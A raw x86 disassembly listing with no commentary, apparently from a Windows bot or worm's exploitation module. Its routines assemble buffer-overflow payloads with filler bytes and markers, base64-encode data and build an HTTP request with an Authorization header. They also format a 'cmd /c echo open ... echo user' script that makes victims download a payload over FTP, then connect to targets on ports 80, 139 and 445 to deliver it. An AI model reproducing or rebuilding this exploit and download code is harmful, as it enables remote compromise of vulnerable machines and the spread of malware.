loc_40395D: ; CODE XREF: sub_403923+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_417030
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_417090
add esp, 18h
mov ecx, esi
call sub_403886
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_403886
mov al, 1
loc_403999: ; CODE XREF: sub_403923+38j
pop edi
pop esi
leave
retn
sub_403923 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40399D proc near ; CODE XREF: sub_4039D1+14p
; sub_4039EE+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_403831
mov ecx, esi
call sub_403886
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40399D endp
; =============== S U B R O U T I N E =======================================
sub_4039D1 proc near ; CODE XREF: sub_403A59+F0p
; sub_403A59+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_4177B0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40399D
pop esi
retn 4
sub_4039D1 endp
; =============== S U B R O U T I N E =======================================
sub_4039EE proc near ; CODE XREF: sub_403A3A+Bp
; sub_403A59+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40399D
retn 8
sub_4039EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4039FE proc near ; CODE XREF: sub_403A3A+16p
; sub_403A59+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40389F
test al, al
jz short loc_403A37
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push (offset loc_4279FF+1)
call sub_403831
mov ecx, esi
call sub_403886
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_403A37: ; CODE XREF: sub_4039FE+Fj
pop esi
leave
retn
sub_4039FE endp
; =============== S U B R O U T I N E =======================================
sub_403A3A proc near ; CODE XREF: sub_403A59+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_4039EE
test al, al
jz short loc_403A55
mov ecx, esi
call sub_4039FE
loc_403A55: ; CODE XREF: sub_403A3A+12j
pop esi
retn 8
sub_403A3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403A59 proc near ; CODE XREF: .data:004042D0p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_4037ED
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_403D9D
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_403D9D
push esi
lea ecx, [ebp+var_30]
call sub_4037ED
lea ecx, [ebp+var_20]
call sub_4037ED
lea ecx, [ebp+var_50]
call sub_4037ED
lea ecx, [ebp+var_18]
call sub_4037ED
lea ecx, [ebp+var_40]
call sub_4037ED
lea ecx, [ebp+var_38]
call sub_4037ED
lea ecx, [ebp+var_28]
call sub_4037ED
push 4
push offset dword_427694
lea ecx, [ebp+var_30]
call sub_40399D
push 3
push offset dword_42769C
lea ecx, [ebp+var_30]
call sub_40399D
lea ecx, [ebp+var_30]
call sub_403923
lea ecx, [ebp+var_30]
call sub_4039FE
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_417030
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset byte_427688
call sub_40399D
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40399D
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40399D
lea ecx, [ebp+var_20]
call sub_403923
push offset loc_427A28
lea ecx, [ebp+var_50]
call sub_4039D1
lea ecx, [ebp+var_50]
call sub_403923
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_417030
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_4037F7
lea ecx, [ebp+var_58]
call sub_403923
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_403A3A
lea ecx, [ebp+var_58]
call sub_403886
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_417030
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_4039D1
push 4
push offset dword_4276A0
lea ecx, [ebp+var_18]
call sub_40399D
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40399D
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40399D
lea ecx, [ebp+var_18]
call sub_403923
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_4039EE
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_4039EE
lea ecx, [ebp+var_40]
call sub_4039FE
lea ecx, [ebp+var_18]
call sub_403886
lea ecx, [ebp+var_50]
call sub_403886
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_4039EE
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_4039EE
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_4039EE
lea ecx, [ebp+var_38]
call sub_4039FE
lea ecx, [ebp+var_20]
call sub_403886
lea ecx, [ebp+var_30]
call sub_403886
lea ecx, [ebp+var_40]
call sub_403886
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_417030
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40399D
lea ecx, [ebp+var_28]
call sub_403923
push 2
push offset dword_427A1C
lea ecx, [ebp+var_28]
call sub_40399D
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_4039EE
lea ecx, [ebp+var_28]
call sub_4039FE
lea ecx, [ebp+var_38]
call sub_403886
lea ecx, [ebp+var_10]
call sub_4037ED
lea ecx, [ebp+var_8]
call sub_4037ED
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_4039EE
lea ecx, [ebp+var_10]
call sub_40389F
lea ecx, [ebp+var_28]
call sub_403886
push offset dword_427A18
lea ecx, [ebp+var_8]
call sub_4039D1
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_4039EE
lea ecx, [ebp+var_8]
call sub_40389F
lea ecx, [ebp+var_10]
call sub_403886
push offset dword_427A14
lea ecx, [ebp+var_10]
call sub_4039D1
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_4039EE
lea ecx, [ebp+var_10]
call sub_40389F
lea ecx, [ebp+var_8]
call sub_403886
push offset dword_427A08
lea ecx, [ebp+var_8]
call sub_4039D1
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_4039EE
lea ecx, [ebp+var_8]
call sub_40389F
lea ecx, [ebp+var_10]
call sub_403886
push offset dword_427A04
lea ecx, [ebp+var_48]
call sub_4039D1
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_4039EE
lea ecx, [ebp+var_8]
call sub_403886
pop esi
loc_403D9D: ; CODE XREF: sub_403A59+1Bj
; sub_403A59+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop edi
pop ebx
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
leave
retn
sub_403A59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403DAF proc near ; CODE XREF: sub_403E73+A2p
; sub_403E73+C7p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
mov esi, [ebp+arg_0]
lea eax, [ebp+var_8]
push edi
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
xor edi, edi
push eax
lea eax, [esi+1]
inc edi
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call dword_42320C ; select
cmp eax, edi
jnz short loc_403E16
lea eax, [ebp+var_10C]
push eax
push esi
call sub_422746 ; __WSAFDIsSet
test eax, eax
jnz short loc_403E1A
loc_403E16: ; CODE XREF: sub_403DAF+54j
xor eax, eax
jmp short loc_403E2A
; ---------------------------------------------------------------------------
loc_403E1A: ; CODE XREF: sub_403DAF+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_43EB3C ; recv
loc_403E2A: ; CODE XREF: sub_403DAF+69j
pop edi
pop esi
leave
retn
sub_403DAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403E2E proc near ; CODE XREF: sub_403E73+80p
; sub_403E73+AEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_43EB20 ; htonl
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_43EB74 ; send
cmp eax, 4
jz short loc_403E58
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_403E58: ; CODE XREF: sub_403E2E+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_43EB74 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_403E2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403E73 proc near ; CODE XREF: sub_403F52+48p
; .data:004043C1p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_417889
mov esi, eax
pop ecx
test esi, esi
jnz short loc_403E9C
xor al, al
jmp loc_403F4D
; ---------------------------------------------------------------------------
loc_403E9C: ; CODE XREF: sub_403E73+20j
push ebx
push 0
push esi
call sub_417030
push 2Fh
push offset dword_427730
push esi
call sub_417090
push 8
lea eax, [esi+31h]
push offset dword_427760
push eax
mov [esi+2Fh], di
call sub_417090
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_417090
push 6
add ebx, edi
push offset dword_43BCF0
push ebx
call sub_417090
push 85h
push offset dword_4276A8
push [ebp+arg_0]
call sub_403E2E
add esp, 48h
test al, al
jnz short loc_403F03
loc_403EFF: ; CODE XREF: sub_403E73+B8j
xor bl, bl
jmp short loc_403F44
; ---------------------------------------------------------------------------
loc_403F03: ; CODE XREF: sub_403E73+8Aj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_403DAF
push [ebp+var_4]
push esi
push [ebp+arg_0]
call sub_403E2E
add esp, 1Ch
test al, al
jz short loc_403EFF
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_403DAF
add esp, 10h
mov bl, 1
loc_403F44: ; CODE XREF: sub_403E73+8Ej
push esi
call sub_41793B
pop ecx
mov al, bl
loc_403F4D: ; CODE XREF: sub_403E73+24j
pop edi
pop esi
pop ebx
leave
retn
sub_403E73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403F52 proc near ; CODE XREF: .data:004043A7p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_427770
push [ebp+arg_0]
call dword_423208 ; send
cmp eax, 48h
jnz short loc_403F8D
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_403DAF
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_403F8D
cmp [ebp+var_20], 82h
jz short loc_403F91
loc_403F8D: ; CODE XREF: sub_403F52+1Bj
; sub_403F52+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_403F91: ; CODE XREF: sub_403F52+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_403E73
add esp, 0Ch
leave
retn
sub_403F52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403FA4 proc near ; CODE XREF: sub_403FF0+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_423278
call sub_417AC4
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_423270
fstp [esp+10h+var_10]
call sub_4179A4
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_417AC4
inc eax
leave
retn
sub_403FA4 endp
; =============== S U B R O U T I N E =======================================
sub_403FF0 proc near ; CODE XREF: sub_40418F+24p
var_40 = qword ptr -40h
mov eax, offset loc_422DE7
call sub_417F90
sub esp, 2Ch
push ebx
push esi
push edi
xor edi, edi
mov [ebp-20h], edi
mov al, [ebp+13h]
push edi
lea ecx, [ebp-38h]
mov [ebp-38h], al
call sub_404620
push dword ptr [ebp+10h]
xor ebx, ebx
inc ebx
mov [ebp-4], ebx
call sub_403FA4
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_404032
push edi
push eax
lea ecx, [ebp-38h]
call sub_40459A
loc_404032: ; CODE XREF: sub_403FF0+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_404150
mov ebx, [ebp+10h]
loc_404041: ; CODE XREF: sub_403FF0+157j
cmp dword ptr [ebp+10h], 3
jb short loc_40404C
push 3
loc_404049: ; CODE XREF: sub_403FF0+64j
pop ebx
jmp short loc_40405F
; ---------------------------------------------------------------------------
loc_40404C: ; CODE XREF: sub_403FF0+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_404056
push 2
jmp short loc_404049
; ---------------------------------------------------------------------------
loc_404056: ; CODE XREF: sub_403FF0+60j
cmp dword ptr [ebp+10h], 1
jnz short loc_40405F
xor ebx, ebx
inc ebx
loc_40405F: ; CODE XREF: sub_403FF0+5Aj
; sub_403FF0+6Aj
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_423280
fstp [esp+40h+var_40]
call sub_417AEB
pop ecx
pop ecx
call sub_417AC4
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40409E
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40409E: ; CODE XREF: sub_403FF0+94j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40410C
add [ebp-18h], eax
loc_4040F0: ; CODE XREF: sub_403FF0+11Aj
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_4277C0[eax]
push eax
push 1
call sub_40441B
inc esi
cmp esi, [ebp-1Ch]
jb short loc_4040F0
loc_40410C: ; CODE XREF: sub_403FF0+FBj
cmp dword ptr [ebp-18h], 48h
jb short loc_40412A
push dword ptr [ebp+14h]
call sub_4177B0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_404475
mov [ebp-18h], edi
loc_40412A: ; CODE XREF: sub_403FF0+120j
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_404144
sub esi, [ebp-1Ch]
loc_404135: ; CODE XREF: sub_403FF0+152j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_40441B
dec esi
jnz short loc_404135
loc_404144: ; CODE XREF: sub_403FF0+140j
cmp [ebp+10h], edi
ja loc_404041
xor ebx, ebx
inc ebx
loc_404150: ; CODE XREF: sub_403FF0+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_404620
push 0FFFFFFFFh
lea eax, [ebp-38h]
push edi
push eax
mov ecx, esi
call sub_4044CD
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_404620
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_403FF0 endp
; =============== S U B R O U T I N E =======================================
sub_40418F proc near ; CODE XREF: .data:0040438Ap
mov eax, offset loc_422E04
call sub_417F90
sub esp, 10h
push ebx
push esi
push edi
push offset byte_43BCE8
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_403FF0
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_417889
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_4041D9
xor bl, bl
jmp short loc_40421D
; ---------------------------------------------------------------------------
loc_4041D9: ; CODE XREF: sub_40418F+44j
mov ecx, [ebp-18h]
mov eax, offset dword_423288
cmp ecx, ebx
jnz short loc_4041E7
mov ecx, eax
loc_4041E7: ; CODE XREF: sub_40418F+54j
cmp [ebp+18h], ebx
jz short loc_4041EF
mov eax, [ebp+18h]
loc_4041EF: ; CODE XREF: sub_40418F+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41752A
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_43EB74 ; send
cmp eax, esi
jz short loc_404214
xor bl, bl
jmp short loc_404216
; ---------------------------------------------------------------------------
loc_404214: ; CODE XREF: sub_40418F+7Fj
mov bl, 1
loc_404216: ; CODE XREF: sub_40418F+83j
push edi
call sub_41793B
pop ecx
loc_40421D: ; CODE XREF: sub_40418F+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_404620
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_404620
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40418F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset sub_427970
push eax
call sub_417090
add esp, 0Ch
mov eax, offset byte_42E9B8
push eax
push eax
push dword_43BD0C
push dword ptr [ebp+8]
call sub_40AD08
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp-391h]
push 400h
push eax
call sub_41752A
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset sub_427808
push eax
call sub_403A59
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_4042E6
xor eax, eax
jmp loc_40440E
; ---------------------------------------------------------------------------
loc_4042E6: ; CODE XREF: .data:004042DDj
mov [ebp-0Ch], esi
loc_4042E9: ; CODE XREF: .data:004043E9j
test esi, esi
jnz loc_4043EF
push 6
push 1
push 2
call dword_423214 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4043D7
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_43EB24 ; htons
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_43EB64 ; inet_addr
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_43EACC ; connect
cmp eax, 0FFFFFFFFh
jz loc_4043CC
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_404394
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_404620
lea eax, [ebp+0Ch]
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_404658
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40418F
add esp, 1Ch
jmp short loc_4043C9
; ---------------------------------------------------------------------------
loc_404394: ; CODE XREF: .data:00404352j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_4043AE
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_403F52
jmp short loc_4043C6
; ---------------------------------------------------------------------------
loc_4043AE: ; CODE XREF: .data:0040439Ej
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_4043CC
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_403E73
loc_4043C6: ; CODE XREF: .data:004043ACj
add esp, 0Ch
loc_4043C9: ; CODE XREF: .data:00404392j
movzx esi, al
loc_4043CC: ; CODE XREF: .data:00404345j
; .data:004043B8j
push ebx
call dword_43EBBC ; closesocket
test esi, esi
jnz short loc_4043E2
loc_4043D7: ; CODE XREF: .data:00404302j
push 3E8h
call dword_423064 ; Sleep
loc_4043E2: ; CODE XREF: .data:004043D5j
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_4042E9
loc_4043EF: ; CODE XREF: .data:004042EBj
lea ecx, [ebp-8]
call sub_403886
test esi, esi
jz short loc_40440C
mov eax, [ebp+0B0h]
imul eax, 3Ch
lea eax, dword_429D68[eax]
inc dword ptr [eax]
loc_40440C: ; CODE XREF: .data:004043F9j
mov eax, esi
loc_40440E: ; CODE XREF: .data:004042E1j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422DC8
loc_404413: ; CODE XREF: sub_422DC8+3j
; .data:00422DE1j ...
push 1
call sub_404620
retn
; END OF FUNCTION CHUNK FOR sub_422DC8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40441B proc near ; CODE XREF: sub_403FF0+111p
; sub_403FF0+14Cp
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
or eax, 0FFFFFFFFh
push edi
sub eax, [esi+8]
cmp eax, [ebp+arg_0]
ja short loc_404432
call sub_42268A
loc_404432: ; CODE XREF: sub_40441B+10j
cmp [ebp+arg_0], 0
jbe short loc_40446D
mov edi, [esi+8]
push 0
add edi, [ebp+arg_0]
mov ecx, esi
push edi
call sub_40459A
test al, al
jz short loc_40446D
movsx eax, [ebp+arg_4]
push [ebp+arg_0]
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_417030
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40446D: ; CODE XREF: sub_40441B+1Bj
; sub_40441B+2Fj
mov eax, esi
pop edi
pop esi
pop ebp
retn 8
sub_40441B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404475 proc near ; CODE XREF: sub_403FF0+132p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
or eax, 0FFFFFFFFh
push edi
sub eax, [esi+8]
cmp eax, [ebp+arg_4]
ja short loc_40448C
call sub_42268A
loc_40448C: ; CODE XREF: sub_404475+10j
cmp [ebp+arg_4], 0
jbe short loc_4044C5
mov edi, [esi+8]
push 0
add edi, [ebp+arg_4]
mov ecx, esi
push edi
call sub_40459A
test al, al
jz short loc_4044C5
push [ebp+arg_4]
mov eax, [esi+8]
add eax, [esi+4]
push [ebp+arg_0]
push eax
call sub_417090
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_4044C5: ; CODE XREF: sub_404475+1Bj
; sub_404475+2Fj
mov eax, esi
pop edi
pop esi
pop ebp
retn 8
sub_404475 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4044CD proc near ; CODE XREF: sub_403FF0+179p
; sub_4225A0+15p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_4044E5
call sub_422563
loc_4044E5: ; CODE XREF: sub_4044CD+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_4044F7
mov esi, [ebp+arg_8]
loc_4044F7: ; CODE XREF: sub_4044CD+25j
cmp edi, ebx
jnz short loc_404515
add esi, ecx
push 0FFFFFFFFh
push esi
mov ecx, edi
call sub_40468D
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_40468D
jmp short loc_404591
; ---------------------------------------------------------------------------
loc_404515: ; CODE XREF: sub_4044CD+2Cj
test esi, esi
jbe short loc_404558
cmp esi, eax
jnz short loc_404558
mov eax, [ebx+4]
test eax, eax
jnz short loc_404529
mov eax, offset dword_423288
loc_404529: ; CODE XREF: sub_4044CD+55j
cmp byte ptr [eax-1], 0FEh
jnb short loc_404558
push 1
mov ecx, edi
call sub_404620
mov eax, [ebx+4]
test eax, eax
jnz short loc_404544
mov eax, offset dword_423288
loc_404544: ; CODE XREF: sub_4044CD+70j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_404591
; ---------------------------------------------------------------------------
loc_404558: ; CODE XREF: sub_4044CD+4Aj
; sub_4044CD+4Ej ...
push 1
push esi
mov ecx, edi
call sub_40459A
test al, al
jz short loc_404591
mov eax, [ebp+arg_0]
mov eax, [eax+4]
test eax, eax
jnz short loc_404575
mov eax, offset dword_423288
loc_404575: ; CODE XREF: sub_4044CD+A1j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_417090
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_404591: ; CODE XREF: sub_4044CD+46j
; sub_4044CD+89j ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_4044CD endp
; =============== S U B R O U T I N E =======================================
sub_40459A proc near ; CODE XREF: sub_403FF0+3Dp
; sub_40441B+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_4045AC
call sub_42268A
loc_4045AC: ; CODE XREF: sub_40459A+Bj
mov eax, [esi+4]
xor edx, edx
cmp eax, edx
jz short loc_4045D4
mov cl, [eax-1]
cmp cl, dl
jz short loc_4045D4
cmp cl, 0FFh
jz short loc_4045D4
cmp edi, edx
mov ecx, esi
jnz short loc_404613
dec byte ptr [eax-1]
push edx
